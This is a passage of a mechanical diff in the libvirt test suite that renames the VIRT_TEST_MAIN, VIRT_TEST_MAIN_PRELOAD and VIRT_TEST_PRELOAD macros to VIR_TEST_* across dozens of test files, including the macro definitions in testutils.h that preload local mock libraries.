a/tests/nodedevxml2xmltest.c +++ b/tests/nodedevxml2xmltest.c @@ -105,4 +105,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/nsstest.c b/tests/nsstest.c index 915a8bc..ca5b475 100644 --- a/tests/nsstest.c +++ b/tests/nsstest.c @@ -198,7 +198,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/nssmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/nssmock.so") #else int main(void) diff --git a/tests/nwfilterebiptablestest.c b/tests/nwfilterebiptablestest.c index 74f9ebd..4357133 100644 --- a/tests/nwfilterebiptablestest.c +++ b/tests/nwfilterebiptablestest.c @@ -569,4 +569,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/nwfilterxml2firewalltest.c b/tests/nwfilterxml2firewalltest.c index ba327d0..95ab46e 100644 --- a/tests/nwfilterxml2firewalltest.c +++ b/tests/nwfilterxml2firewalltest.c @@ -516,7 +516,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else /* ! defined (__linux__) */ diff --git a/tests/nwfilterxml2xmltest.c b/tests/nwfilterxml2xmltest.c index 9beb8b6..d7457a0 100644 --- a/tests/nwfilterxml2xmltest.c +++ b/tests/nwfilterxml2xmltest.c @@ -152,4 +152,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/objecteventtest.c b/tests/objecteventtest.c index 5df6ff9..77a48a1 100644 --- a/tests/objecteventtest.c +++ b/tests/objecteventtest.c @@ -849,4 +849,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/openvzutilstest.c b/tests/openvzutilstest.c index c7336e7..8250277 100644 --- a/tests/openvzutilstest.c +++ b/tests/openvzutilstest.c @@ -155,7 +155,7 @@ mymain(void) return result == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/qemuagenttest.c b/tests/qemuagenttest.c index 3be745e..41a0196 100644 --- a/tests/qemuagenttest.c +++ b/tests/qemuagenttest.c @@ -938,4 +938,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/qemuargv2xmltest.c b/tests/qemuargv2xmltest.c index a709c72..0b519a4 100644 --- a/tests/qemuargv2xmltest.c +++ b/tests/qemuargv2xmltest.c @@ -293,7 +293,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/qemucapabilitiestest.c b/tests/qemucapabilitiestest.c index 2918ff4..bbb683e 100644 --- a/tests/qemucapabilitiestest.c +++ b/tests/qemucapabilitiestest.c @@ -186,4 +186,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/qemucaps2xmltest.c b/tests/qemucaps2xmltest.c index 1b1ff7c..65ba270 100644 --- a/tests/qemucaps2xmltest.c +++ b/tests/qemucaps2xmltest.c @@ -189,4 +189,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/qemucaps2xmlmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/qemucaps2xmlmock.so") diff --git a/tests/qemucapsprobe.c b/tests/qemucapsprobe.c index 561c5d7..662c703 100644 --- a/tests/qemucapsprobe.c +++ b/tests/qemucapsprobe.c @@ -48,7 +48,7 @@ main(int argc, char **argv) virThread thread; virQEMUCapsPtr caps; - VIRT_TEST_PRELOAD(abs_builddir "/.libs/qemucapsprobemock.so"); + VIR_TEST_PRELOAD(abs_builddir "/.libs/qemucapsprobemock.so"); if (argc != 2) { fprintf(stderr, "%s QEMU_binary\n", argv[0]); diff --git a/tests/qemucommandutiltest.c b/tests/qemucommandutiltest.c index 1985983..b11dfbc 100644 --- a/tests/qemucommandutiltest.c +++ b/tests/qemucommandutiltest.c @@ -155,4 +155,4 @@ mymain(void) } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/qemuhelptest.c b/tests/qemuhelptest.c index c7355e3..e3751b2 100644 --- a/tests/qemuhelptest.c +++ b/tests/qemuhelptest.c @@ -431,7 +431,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/qemuhotplugtest.c b/tests/qemuhotplugtest.c index cdeb3f1..e835999 100644 --- a/tests/qemuhotplugtest.c +++ b/tests/qemuhotplugtest.c @@ -856,4 +856,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/qemumemlocktest.c b/tests/qemumemlocktest.c index 48b0565..6cf17a4 100644 --- a/tests/qemumemlocktest.c +++ b/tests/qemumemlocktest.c @@ -129,7 +129,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/qemumonitorjsontest.c b/tests/qemumonitorjsontest.c index 5d53609..a2911b0 100644 --- a/tests/qemumonitorjsontest.c +++ b/tests/qemumonitorjsontest.c @@ -2941,4 +2941,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/qemumonitortest.c b/tests/qemumonitortest.c index 48f7ad2..cfb5514 100644 --- a/tests/qemumonitortest.c +++ b/tests/qemumonitortest.c @@ -191,7 +191,7 @@ mymain(void) return result == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/qemuxml2argvtest.c b/tests/qemuxml2argvtest.c index 41461ea..85733d1 100644 --- a/tests/qemuxml2argvtest.c +++ b/tests/qemuxml2argvtest.c @@ -2511,7 +2511,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/qemuxml2argvmock.so", abs_builddir "/.libs/virrandommock.so", abs_builddir "/.libs/qemucpumock.so") diff --git a/tests/qemuxml2xmltest.c b/tests/qemuxml2xmltest.c index eae999d..252f1ed 100644 --- a/tests/qemuxml2xmltest.c +++ b/tests/qemuxml2xmltest.c @@ -1139,7 +1139,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/qemuxml2xmlmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/qemuxml2xmlmock.so") #else diff --git a/tests/scsihosttest.c b/tests/scsihosttest.c index 9efc2d2..6989e4f 100644 --- a/tests/scsihosttest.c +++ b/tests/scsihosttest.c @@ -303,7 +303,7 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else int main(void) diff --git a/tests/seclabeltest.c b/tests/seclabeltest.c index be6e79f..4cda80c 100644 --- a/tests/seclabeltest.c +++ b/tests/seclabeltest.c @@ -43,4 +43,4 @@ mymain(void) return 0; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/secretxml2xmltest.c b/tests/secretxml2xmltest.c index 714c709..19bd60a 100644 --- a/tests/secretxml2xmltest.c +++ b/tests/secretxml2xmltest.c @@ -85,4 +85,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/securityselinuxlabeltest.c b/tests/securityselinuxlabeltest.c index 6d9c7ba..d4ef983 100644 --- a/tests/securityselinuxlabeltest.c +++ b/tests/securityselinuxlabeltest.c @@ -379,4 +379,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/libsecurityselinuxhelper.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/libsecurityselinuxhelper.so") diff --git a/tests/securityselinuxtest.c b/tests/securityselinuxtest.c index aba1e8e..63161b9 100644 --- a/tests/securityselinuxtest.c +++ b/tests/securityselinuxtest.c @@ -340,4 +340,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/libsecurityselinuxhelper.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/libsecurityselinuxhelper.so") diff --git a/tests/sexpr2xmltest.c b/tests/sexpr2xmltest.c index 9982fad..107509b 100644 --- a/tests/sexpr2xmltest.c +++ b/tests/sexpr2xmltest.c @@ -196,4 +196,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/sockettest.c b/tests/sockettest.c index 4d49b38..2db90bd 100644 --- a/tests/sockettest.c +++ b/tests/sockettest.c @@ -482,4 +482,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/storagebackendsheepdogtest.c b/tests/storagebackendsheepdogtest.c index 1f6341f..75c3dd5 100644 --- a/tests/storagebackendsheepdogtest.c +++ b/tests/storagebackendsheepdogtest.c @@ -227,4 +227,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/storagepoolxml2xmltest.c b/tests/storagepoolxml2xmltest.c index 355871c..2f44c3f 100644 --- a/tests/storagepoolxml2xmltest.c +++ b/tests/storagepoolxml2xmltest.c @@ -106,4 +106,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/storagevolxml2argvtest.c b/tests/storagevolxml2argvtest.c index 24c3bac..9e43204 100644 --- a/tests/storagevolxml2argvtest.c +++ b/tests/storagevolxml2argvtest.c @@ -282,4 +282,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/storagevolxml2xmltest.c b/tests/storagevolxml2xmltest.c index 18e8016..8521adf 100644 --- a/tests/storagevolxml2xmltest.c +++ b/tests/storagevolxml2xmltest.c @@ -120,4 +120,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/sysinfotest.c b/tests/sysinfotest.c index 047e87b..2b32828 100644 --- a/tests/sysinfotest.c +++ b/tests/sysinfotest.c @@ -150,4 +150,4 @@ mymain(void) #undef TEST #undef TEST_FULL -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/testutils.c b/tests/testutils.c index f3feb6d..817fffa 100644 --- a/tests/testutils.c +++ b/tests/testutils.c @@ -904,11 +904,11 @@ int virTestMain(int argc, virLogOutputPtr *outputs = NULL; if (getenv("VIR_TEST_FILE_ACCESS")) - VIRT_TEST_PRELOAD(TEST_MOCK); + VIR_TEST_PRELOAD(TEST_MOCK); va_start(ap, func); while ((lib = va_arg(ap, const char *))) - VIRT_TEST_PRELOAD(lib); + VIR_TEST_PRELOAD(lib); va_end(ap); progname = last_component(argv[0]); diff --git a/tests/testutils.h b/tests/testutils.h index c16fe6c..c7f02e4 100644 --- a/tests/testutils.h +++ b/tests/testutils.h @@ -110,12 +110,12 @@ int virTestMain(int argc, ...); /* Setup, then call func() */ -# define VIRT_TEST_MAIN(func) \ +# define VIR_TEST_MAIN(func) \ int main(int argc, char **argv) { \ return virTestMain(argc, argv, func, NULL); \ } -# define VIRT_TEST_PRELOAD(lib) \ +# define VIR_TEST_PRELOAD(lib) \ do { \ const char *preload = getenv("LD_PRELOAD"); \ if (preload == NULL || strstr(preload, lib) == NULL) { \ @@ -135,7 +135,7 @@ int virTestMain(int argc, } \ } while (0) -# define VIRT_TEST_MAIN_PRELOAD(func, ...) \ +# define VIR_TEST_MAIN_PRELOAD(func, ...) \ int main(int argc, char **argv) { \ return virTestMain(argc, argv, func, __VA_ARGS__, NULL); \ } diff --git a/tests/utiltest.c b/tests/utiltest.c index bd55d44..f80329b 100644 --- a/tests/utiltest.c +++ b/tests/utiltest.c @@ -284,4 +284,4 @@ mymain(void) return result == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/vboxsnapshotxmltest.c b/tests/vboxsnapshotxmltest.c index f84d199..1faac50 100644 --- a/tests/vboxsnapshotxmltest.c +++ b/tests/vboxsnapshotxmltest.c @@ -152,7 +152,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/viralloctest.c b/tests/viralloctest.c index 82c3311..27cbdcb 100644 --- a/tests/viralloctest.c +++ b/tests/viralloctest.c @@ -441,4 +441,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/viratomictest.c b/tests/viratomictest.c index 5185045..52f1715 100644 --- a/tests/viratomictest.c +++ b/tests/viratomictest.c @@ -175,4 +175,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virauthconfigtest.c b/tests/virauthconfigtest.c index 6879a29..cf40ec4 100644 --- a/tests/virauthconfigtest.c +++ b/tests/virauthconfigtest.c @@ -138,4 +138,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virbitmaptest.c b/tests/virbitmaptest.c index e007efc..e5305d0 100644 --- a/tests/virbitmaptest.c +++ b/tests/virbitmaptest.c @@ -714,4 +714,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virbuftest.c b/tests/virbuftest.c index 8ec6ce5..5905fee 100644 --- a/tests/virbuftest.c +++ b/tests/virbuftest.c @@ -495,4 +495,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/vircaps2xmltest.c b/tests/vircaps2xmltest.c index ffbe9a7..670bb8c 100644 --- a/tests/vircaps2xmltest.c +++ b/tests/vircaps2xmltest.c @@ -107,4 +107,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnumamock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnumamock.so") diff --git a/tests/vircapstest.c b/tests/vircapstest.c index 27d17bd..bc6362d 100644 --- a/tests/vircapstest.c +++ b/tests/vircapstest.c @@ -345,4 +345,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/vircgrouptest.c b/tests/vircgrouptest.c index f55ef74..8af5e2c 100644 --- a/tests/vircgrouptest.c +++ b/tests/vircgrouptest.c @@ -944,7 +944,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/vircgroupmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/vircgroupmock.so") #else int diff --git a/tests/virconftest.c b/tests/virconftest.c index 4fc7993..1f4b561 100644 --- a/tests/virconftest.c +++ b/tests/virconftest.c @@ -430,4 +430,4 @@ mymain(void) } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/vircryptotest.c b/tests/vircryptotest.c index 98bd059..b702b70 100644 --- a/tests/vircryptotest.c +++ b/tests/vircryptotest.c @@ -179,4 +179,4 @@ mymain(void) } /* Forces usage of not so random virRandomBytes */ -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virrandommock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virrandommock.so") diff --git a/tests/virdbustest.c b/tests/virdbustest.c index 4e61cb3..3be9cf1 100644 --- a/tests/virdbustest.c +++ b/tests/virdbustest.c @@ -727,4 +727,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virdrivermoduletest.c b/tests/virdrivermoduletest.c index 13d51a8..cfb2dbd 100644 --- a/tests/virdrivermoduletest.c +++ b/tests/virdrivermoduletest.c @@ -107,4 +107,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virendiantest.c b/tests/virendiantest.c index f858e5c..263acc8 100644 --- a/tests/virendiantest.c +++ b/tests/virendiantest.c @@ -117,4 +117,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virfiletest.c b/tests/virfiletest.c index 05148e9..702a76a 100644 --- a/tests/virfiletest.c +++ b/tests/virfiletest.c @@ -189,4 +189,4 @@ mymain(void) return ret != 0 ? EXIT_FAILURE : EXIT_SUCCESS; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virfirewalltest.c b/tests/virfirewalltest.c index 6f4fed5..0f703a6 100644 --- a/tests/virfirewalltest.c +++ b/tests/virfirewalltest.c @@ -1184,9 +1184,9 @@ mymain(void) } # if WITH_DBUS -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virdbusmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virdbusmock.so") # else -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) # endif #else /* ! defined (__linux__) */ diff --git a/tests/virhashtest.c b/tests/virhashtest.c index 40afd63..dbf07ae 100644 --- a/tests/virhashtest.c +++ b/tests/virhashtest.c @@ -639,4 +639,4 @@ mymain(void) return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virhostcputest.c b/tests/virhostcputest.c index 10e49ea..b415ec5 100644 --- a/tests/virhostcputest.c +++ b/tests/virhostcputest.c @@ -265,6 +265,6 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virhostcpumock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virhostcpumock.so") #endif /* __linux__ */ diff --git a/tests/virhostdevtest.c b/tests/virhostdevtest.c index 889701c..b3beee9 100644 --- a/tests/virhostdevtest.c +++ b/tests/virhostdevtest.c @@ -633,7 +633,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virpcimock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virpcimock.so") #else int main(void) diff --git a/tests/viridentitytest.c b/tests/viridentitytest.c index c7dc89d..dfa2947 100644 --- a/tests/viridentitytest.c +++ b/tests/viridentitytest.c @@ -243,7 +243,7 @@ mymain(void) } #if WITH_SELINUX -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/libsecurityselinuxhelper.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/libsecurityselinuxhelper.so") #else -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #endif diff --git a/tests/viriscsitest.c b/tests/viriscsitest.c index ed66497..c95171a 100644 --- a/tests/viriscsitest.c +++ b/tests/viriscsitest.c @@ -217,5 +217,5 @@ mymain(void) return EXIT_SUCCESS; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #endif /* WIN32 */ diff --git a/tests/virkeycodetest.c b/tests/virkeycodetest.c index d092209..d4cb973 100644 --- a/tests/virkeycodetest.c +++ b/tests/virkeycodetest.c @@ -105,4 +105,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virkeyfiletest.c b/tests/virkeyfiletest.c index c4ce320..aec6924 100644 --- a/tests/virkeyfiletest.c +++ b/tests/virkeyfiletest.c @@ -120,4 +120,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virkmodtest.c b/tests/virkmodtest.c index b98edf9..47ca181 100644 --- a/tests/virkmodtest.c +++ b/tests/virkmodtest.c @@ -174,7 +174,7 @@ mymain(void) } -VIRT_TEST_MAIN(mymain); +VIR_TEST_MAIN(mymain); #else int main(void) diff --git a/tests/virlockspacetest.c b/tests/virlockspacetest.c index cb0b889..75ad98a 100644 --- a/tests/virlockspacetest.c +++ b/tests/virlockspacetest.c @@ -371,4 +371,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virlogtest.c b/tests/virlogtest.c index b2c66f7..eb07fab 100644 --- a/tests/virlogtest.c +++ b/tests/virlogtest.c @@ -154,4 +154,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virmacmaptest.c b/tests/virmacmaptest.c index 4daa048..35e3127 100644 --- a/tests/virmacmaptest.c +++ b/tests/virmacmaptest.c @@ -234,4 +234,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virmacmapmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virmacmapmock.so") diff --git a/tests/virnetdaemontest.c b/tests/virnetdaemontest.c index 91030f4..b86eea0 100644 --- a/tests/virnetdaemontest.c +++ b/tests/virnetdaemontest.c @@ -344,12 +344,12 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnetdaemonmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnetdaemonmock.so") #else static int mymain(void) { return EXIT_AM_SKIP; } -VIRT_TEST_MAIN(mymain); +VIR_TEST_MAIN(mymain); #endif diff --git a/tests/virnetdevbandwidthtest.c b/tests/virnetdevbandwidthtest.c index 49283fe..a8f4ab1 100644 --- a/tests/virnetdevbandwidthtest.c +++ b/tests/virnetdevbandwidthtest.c @@ -167,4 +167,4 @@ mymain(void) return ret; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnetdevbandwidthmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnetdevbandwidthmock.so") diff --git a/tests/virnetdevtest.c b/tests/virnetdevtest.c index 7c8a03f..06e4a03 100644 --- a/tests/virnetdevtest.c +++ b/tests/virnetdevtest.c @@ -84,7 +84,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnetdevmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnetdevmock.so") #else int main(void) diff --git a/tests/virnetmessagetest.c b/tests/virnetmessagetest.c index 8189031..be7d019 100644 --- a/tests/virnetmessagetest.c +++ b/tests/virnetmessagetest.c @@ -547,4 +547,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virnetserverclienttest.c b/tests/virnetserverclienttest.c index 893db8a..c808701 100644 --- a/tests/virnetserverclienttest.c +++ b/tests/virnetserverclienttest.c @@ -149,12 +149,12 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnetserverclientmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virnetserverclientmock.so") #else static int mymain(void) { return EXIT_AM_SKIP; } -VIRT_TEST_MAIN(mymain); +VIR_TEST_MAIN(mymain); #endif diff --git a/tests/virnetsockettest.c b/tests/virnetsockettest.c index cafdca9..c368861 100644 --- a/tests/virnetsockettest.c +++ b/tests/virnetsockettest.c @@ -597,4 +597,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virnettlscontexttest.c b/tests/virnettlscontexttest.c index 9f62413..a5583bd 100644 --- a/tests/virnettlscontexttest.c +++ b/tests/virnettlscontexttest.c @@ -633,7 +633,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virrandommock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virrandommock.so") #else diff --git a/tests/virnettlssessiontest.c b/tests/virnettlssessiontest.c index 24de212..47be5a0 100644 --- a/tests/virnettlssessiontest.c +++ b/tests/virnettlssessiontest.c @@ -487,7 +487,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virrandommock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virrandommock.so") #else diff --git a/tests/virpcitest.c b/tests/virpcitest.c index 9221c99..fba6189 100644 --- a/tests/virpcitest.c +++ b/tests/virpcitest.c @@ -456,7 +456,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virpcimock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virpcimock.so") #else int main(void) diff --git a/tests/virpolkittest.c b/tests/virpolkittest.c index 4495c7c..fe7666b 100644 --- a/tests/virpolkittest.c +++ b/tests/virpolkittest.c @@ -350,7 +350,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virdbusmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virdbusmock.so") #else /* ! __ELF__ */ int diff --git a/tests/virportallocatortest.c b/tests/virportallocatortest.c index 2c8bc24..ed9c4f2 100644 --- a/tests/virportallocatortest.c +++ b/tests/virportallocatortest.c @@ -174,7 +174,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virportallocatormock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virportallocatormock.so") #else /* defined(__linux__) && defined(RTLD_NEXT) */ int main(void) diff --git a/tests/virrotatingfiletest.c b/tests/virrotatingfiletest.c index 81e7b3f..89ceda8 100644 --- a/tests/virrotatingfiletest.c +++ b/tests/virrotatingfiletest.c @@ -741,4 +741,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virschematest.c b/tests/virschematest.c index faf66d6..c25102f 100644 --- a/tests/virschematest.c +++ b/tests/virschematest.c @@ -220,4 +220,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virscsitest.c b/tests/virscsitest.c index 4a0bbb8..dd1689c 100644 --- a/tests/virscsitest.c +++ b/tests/virscsitest.c @@ -247,4 +247,4 @@ mymain(void) return ret; } 